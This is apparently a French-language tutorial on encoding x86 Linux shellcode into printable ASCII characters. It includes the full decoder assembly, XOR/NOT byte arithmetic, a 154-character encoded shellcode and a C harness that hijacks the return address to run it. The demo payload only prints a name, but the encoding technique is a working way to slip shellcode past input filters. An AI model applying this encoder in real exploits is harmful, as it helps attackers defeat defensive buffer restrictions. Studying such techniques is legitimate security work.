Title: How to create an ASCII shellcode ? Author: Florian Gaultier Date: 2010-06-21 Language: French Original version: http://howto.shell-storm.org/files/howto-3.php I - Présentation du polymorphisme à caractère ASCII imprimable ============================================================== Afin de parer à un grand nombre de vulnérabilités, dont l'exécution de shellcodes classiques, certains programmes mettent en place des restrictions sur les tampons. Imaginons un programme effectuant une vérification sur ce qui est entré, n'acceptant que des caractères imprimables, il est alors impossible d'inscrire la plupart des instructions assembleurs habituellement utilisées. Par exemple l'interruption 0x80 : \xcd\x80, ces deux opcodes ne correspondent à aucun caractère ascii imprimable. Heureusement, il nous reste suffisamment d'instructions utilisant des caractères imprimables.. II - Concept et structure d'un shellcode polymorphique ASCII ============================================================ Un shellcode polymorphique ASCII, comme son nom l'indique, est avant tout polymorphique, c'est à dire qu'un morceau de notre shellcode servira à décoder notre véritable shellcode qui sera écrit sous forme de phrase. En revanche, au lieu d'utiliser une boucle comme pour un shellcode polymorphique classique, la difficulté sera de décoder différemment chaque octet. Les caractères ascii imprimables sont compris entre x20 et x7e. Mais pour les puristes, nous pouvons augmenter la difficulté en n'utilisant que des caractères alphanumériques : cela permet de passer également à travers les restrictions de tampons alphanumériques. Les caractères alphanumériques sont compris dans les plages x30 - x39, x41 - x5a et x61 - x7a. Pour décoder, nous utilisons l'instruction xor dont les opcodes correspondent à un caractère alphanumérique. Plusieurs méthodes existent pour décoder chaque opcode. Nous pouvons construire le shellcode en transformant une phrase, placé en fin de shellcode, en instructions avant que l'eip n'y arrive. +------------+------------+--------------------+ | "OUTILS" | DECODEUR | SHELLCODE ENCODÉ | +------------+------------+--------------------+ Une autre méthode consiste à construire le shellcode dans la pile en décodant soit dans un registre, soit dans la pile directement. Il faut ensuite trouver un moyen de sauter dans la pile. +------------+-------------------------------+-----------+-------------------------------+------------+ | "OUTILS" | MORCEAU DE SHELLCODE ENCODÉ | DÉCODEUR | MORCEAU DE SHELLCODE ENCODÉ | DÉCODEUR | ... +------------+-------------------------------+-----------+-------------------------------+------------+ Bien sur chaque méthode présente des avantages et des inconvénients. III - La construction du shellcode ================================== III - 1. "Les outils" --------------------- Comme nous pouvons le constater, les deux méthodes citées précédemment utilisent des "outils". C'est une suite d'instructions qui éditent les registres qui seront utilisés après pour décoder. dec esp dec esp dec esp dec esp pop edx ; Permet de récupérer dans un registre l'adresse du début du shellcode. push dword 0x58494741 pop eax xor eax, 0x58494741 dec eax ; Permet de récupérer dans un registre FFFFFFFF. push esp pop ecx ; Permet de récupérer dans un registre l'adresse de la pile. push edx push ecx push edx push eax push esp push ebp push esi push edi popad L'instruction pop est un caractère ascii imprimable uniquement pour eax, ecx et edx c'est pourquoi nous utilisons popad après avoir empilé dans un ordre précis tous les registres. En effet popad équivaut à la suite POP EDI ; POP ESI ; POP EBP ; POP ESP ; POP EBX ; POP EDX ; POP ECX ; POP EAX. Nos outils sont donc prêts à l'emploi : eax avec l'adresse du début du shellcode, ecx avec l'adresse de la pile, edx nous servira à xorer ce que nous voulons et enfin ebx avec FFFFFFFF qui, utilisé avec xor, équivaut à l'instruction not. Cette suite d'instruction donne : LLLLZhAGIXX5AGIXHTYRQRPTUVWa Un tour par gdb pour vérifier les registres : eax:080495B4 ebx:FFFFFFFF ecx:BFC83220 edx:080495B4 esp:BFC83220 eip:080495D0 Tout est okay ! III - 2. Quelques calculs ------------------------- La partie la plus délicate est maintenant de trouver comment xorer un octet compris dans les limites des caractères imprimables, avec un caractère imprimable afin de donner l'octet du shellcode final. Nous allons continuer avec le shellcode précédent, et le réécrire en trouvant le bon xoring pour chaque octet afin de ne donner une ligne que de caracères imprimables. \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x09\x6a\x0a\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\x89\xe1\xb3 \x01\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80 On peut déjà garder certains octets qui sont déjà imprimable ce qui nous donne : \x31\xXX\x31\xXX\x31\xXX\x31\xXX\xXX\xXX\x6a\xXX\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\xXX\xXX\xXX \xXX\xXX\xXX\xXX\xXX\x31\xXX\xXX\xXX\xXX\xXX Nous avons 20 octets à transformer. Sortez les calculettes, on attaque par C0. Un simple not suffit pour transformer C0 en 3F. Pour 09 nous pouvons xorer par 20 jusqu'à 71. Pour E1 un not ce qui nous donne 1E puis un xor par 50 par exemple. C'est donc toujours soit un not, soit un not puis un xor, soit un xor qu'il faut trouver ! \x31 \xc0 not \x3f \x31 \xdb not \x24 \x31 \xc9 not \x36 \x31 \xd2 not \x2d \xb2 not \x4d \x09 xor 50 \x59 \x6a \x0a xor 50 \x59 \x68 \x74 \x68 \x61 \x6e \x68 \x6a \x6f \x6e \x61 \x89 not \x76 \xe1 not xor 50 \x4e \xb3 not \x4c \x01 xor 50 \x51 \xb0 not \x4f \x04 xor 50 \x54 \xcd not \x32 \x80 not xor 50 \x2f \x31 \xdb not \x24 \xb0 not \x4f \x01 xor 50 \x51 \xcd not \x32 \x80 not xor 50 \x2f Voilà, c'est assez fastidieux, mais rien ne vous empêche de xorer pour obtenir une jolie phrase (exemple http://www.shell-storm.org/shellcode/files/shellcode-650.php) ou pour obtenir uniquement des caractères alphanumériques ! Nous obtenons ici : 1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/ III - 3. Décodage (méthode 1) ----------------------------- Les outils et les xor en mains, il est très simple de décoder la phrase. La difficulté restante est de trouver le bon pas pour tomber sur le bon octet à xorer, nous le déterminerons par la suite à l'aide de ndisasm. Pour plus de simplicité commençons à 40 (28 en hexa) qui est un nombre rond et qui correspond à un caractère imprimable. Le shellcode à décoder ne devra donc pas dépasser 86 octets avec cette méthode. xor [eax + 41], bh ; Nous commençons par le second octet vu que le premier est 31 avec un not (xor ff) xor [eax + 43], bh xor [eax + 45], bh xor [eax + 47], bh xor [eax + 48], bh push word 0x5050 ; Nous modifions dx pour pouvoir xorer avec 4A pop dx xor [eax + 49], dh push word 0x5050 pop dx xor [eax + 51], dh xor [eax + 62], bh xor [eax + 63], bh ; not puis xor push word 0x5050 pop dx xor [eax + 63], dh xor [eax + 64], bh push word 0x5050 pop dx xor [eax + 65], dh xor [eax + 66], bh push word 0x5050 pop dx xor [eax + 67], dh xor [eax + 68], bh xor [eax + 69], bh push word 0x5050 pop dx xor [eax + 69], dh xor [eax + 71], bh xor [eax + 72], bh push word 0x5050 pop dx xor [eax + 73], dh xor [eax + 74], bh xor [eax + 75], bh push word 0x5050 pop dx xor [eax + 75], dh Toutes ces instructions décodent notre shellcode ! Par chance, seulement 50 sont utilisés pour xorer, ce n'est pas toujours le cas, surtout si vous voulez faire un shellcode alphanumérique ou écrire votre propre phrase. Nous pouvons donc regrouper les xor identiques les push word 0x5050 sont là pour l'exemple au cas ou nous ne pourrions pas xorer tous les octets avec 50. Cela nous donne donc : xor [eax + 41], bh xor [eax + 43], bh xor [eax + 45], bh xor [eax + 47], bh xor [eax + 48], bh push word 0x5050 pop dx xor [eax + 49], dh xor [eax + 51], dh xor [eax + 62], bh xor [eax + 63], bh xor [eax + 63], dh xor [eax + 64], bh xor [eax + 65], dh xor [eax + 66], bh xor [eax + 67], dh xor [eax + 68], bh xor [eax + 69], bh xor [eax + 69], dh xor [eax + 71], bh xor [eax + 72], bh xor [eax + 73], dh xor [eax + 74], bh xor [eax + 75], bh xor [eax + 75], dh En ascii : 0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK Notre shellcode ascii ressemble pour le moment à LLLLZhAGIXX5AGIXHTYRQRPTUVWa 0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK 1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/ Il faut maintenant que [eax + 40] donne l'adresse du premier octet de la phrase à décoder ! Pour cela il va falloir ajouter un certain nombre à eax avant de commencer à décoder. Or les opcodes de l'instruction add ne sont pas imprimables, nous utilisons donc sub qui lui l'est. En effet, soustraire suffisamment nous permet de retomber sur un nombre plus grand. Il faut en général trois sub que nous devons compter pour déterminer l'adresse de notre phrase. Nous passons par ndisasm pour trouver combien additionner. 00000000 4C dec esp 00000001 4C dec esp 00000002 4C dec esp 00000003 4C dec esp 00000004 5A pop edx 00000005 6841474958 push dword 0x58494741 0000000A 58 pop eax 0000000B 3541474958 xor eax,0x58494741 00000010 48 dec eax 00000011 54 push esp 00000012 59 pop ecx 00000013 52 push edx 00000014 51 push ecx 00000015 52 push edx 00000016 50 push eax 00000017 54 push esp 00000018 55 push ebp 00000019 56 push esi 0000001A 57 push edi 0000001B 61 popa 0000001C 2D41414141 sub eax,0x41414141 00000021 2D42424242 sub eax,0x42424242 00000026 2D43434343 sub eax,0x43434343 0000002B 307829 xor [eax+0x29],bh 0000002E 30782B xor [eax+0x2b],bh 00000031 30782D xor [eax+0x2d],bh 00000034 30782F xor [eax+0x2f],bh 00000037 307830 xor [eax+0x30],bh 0000003A 66685050 push word 0x5050 0000003E 665A pop dx 00000040 307031 xor [eax+0x31],dh 00000043 307033 xor [eax+0x33],dh 00000046 30783E xor [eax+0x3e],bh 00000049 30783F xor [eax+0x3f],bh 0000004C 30703F xor [eax+0x3f],dh 0000004F 307840 xor [eax+0x40],bh 00000052 307041 xor [eax+0x41],dh 00000055 307842 xor [eax+0x42],bh 00000058 307043 xor [eax+0x43],dh 0000005B 307844 xor [eax+0x44],bh 0000005E 307845 xor [eax+0x45],bh 00000061 307045 xor [eax+0x45],dh 00000064 307847 xor [eax+0x47],bh 00000067 307848 xor [eax+0x48],bh 0000006A 307049 xor [eax+0x49],dh 0000006D 30784A xor [eax+0x4a],bh 00000070 30784B xor [eax+0x4b],bh 00000073 30704B xor [eax+0x4b],dh 00000076 db "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/" il faut que [eax + 40] ait cette valeur là Il faut donc ajouter 0x76 - 0x28 à eax pour tomber sur le bon octet, c'est à dire ajouter 0x4e. Encore du calcul pour déterminer ce qu'il faut soustraire, sachant qu'il faut soustraire des nombres correspondant à des caractères affichables ! 0 - 6D6D6D30 = 929292D0 - 51515130 = 414141A0 - 41414152 = 4E Le compte est bon ! Notre shellcode est donc terminé : dec esp dec esp dec esp dec esp pop edx push dword 0x58494741 pop eax xor eax, 0x58494741 dec eax push esp pop ecx push edx push ecx push edx push eax push esp push ebp push esi push edi popad sub eax,0x6D6D6D30 sub eax,0x51515130 sub eax,0x41414152 xor [eax + 41], bh xor [eax + 43], bh xor [eax + 45], bh xor [eax + 47], bh xor [eax + 48], bh push word 0x5050 pop dx xor [eax + 49], dh xor [eax + 51], dh xor [eax + 62], bh xor [eax + 63], bh xor [eax + 63], dh xor [eax + 64], bh xor [eax + 65], dh xor [eax + 66], bh xor [eax + 67], dh xor [eax + 68], bh xor [eax + 69], bh xor [eax + 69], dh xor [eax + 71], bh xor [eax + 72], bh xor [eax + 73], dh xor [eax + 74], bh xor [eax + 75], bh xor [eax + 75], dh db "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/" Nous obtenons un joli shellcode ascii de 154 caractères ! LLLLZhAGIXX5AGIXHTYRQRPTUVWa-0mmm-0QQQ-RAAA0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0x D0xE0pE0xG0xH0pI0xJ0xK0pK1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/ Nous testons notre shellcode #include char SC[] = "LLLLZhAGIXX5AGIXHTYRQRPTUVWa" //les outils "-0mmm-0QQQ-RAAA" //ajout du pas //décodage "0x)0x+0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK" "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/"; //phrase à décoder int main(void) { printf("Length: %d\n",strlen(SC)); int *ret; ret = (int *)&ret + 2; (*ret) = (int) SC; } agix ~ # gcc -o test test.c agix ~ # ./test Length: 154 jonathan agix ~ # Attention il est important d'utiliser int *ret; ret = (int *)&ret + 2; (*ret) = (int) SC; pour que nous puissions récupérer l'adresse du haut de notre shellcode dans eax (à l'aide des 4 dec esp du début) III - 4. Décodage (méthode 2) ----------------------------- Une petite explication rapide de la seconde méthode qui consiste à écrire le shellcode dans la pile. Nous allons utiliser ecx cette fois qui contient l'adresse de la pile. inc ecx ; Il faut incrémenter ecx pour qu'il pointe vers le premier octet de la pile. push dword 0x4f51322f ; Nous plaçons dans la pile un morceau de notre phrase. xor [ecx], bh ; Puis nous éditons chaque octet de la même manière que pour la première méthode. inc ecx ; Il faut incrémenter ecx à chaque fois pour editer l'octet suivant. push word 0x5050 pop dx xor [ecx], dh inc ecx ... Pour sauter dans la pile il faut d'abord mettre l'adresse de la pile dans la pile puis faire un ret. L'instruction ret place dans eip l'adresse pushé sur la pile c'est à dire l'adresse de notre shellcode décodé. push esp ret Malheureusement ret n'est pas imprimable, il faut donc utiliser la même méthode que précédemment et éditer l'octet à l'avance afin de donner l'instruction ret. push word 0x7070 pop dx xor [eax + 100], dh Pour trouver le pas à ajouter à eax, nous pouvons utiliser ndisasm pour être précis ou bien mettre un nombre assez grand (qui soit toujours compris dans les caractères imprimables). Il faudra alors rajouter plusieurs L au bout du shellcode, cela correspond à une décrémentation de esp et avec un xor 70 donne l'instruction ret. Le file d'exécution arrivera donc sur un des L qui aura été transformé en ret et sautera dans la pile ! Voici un exemple utilisant cette méthode : http://www.shell-storm.org/shellcode/files/shellcode-619.php IV - Références =============== [x] - http://www.shell-storm.org [1] - Techniques de hacking - Jon Erickson [2] - ftp://ftp-developpez.com/david-gross/tutoriels/securite/exploitation-avancee-buffer-overflow.pdf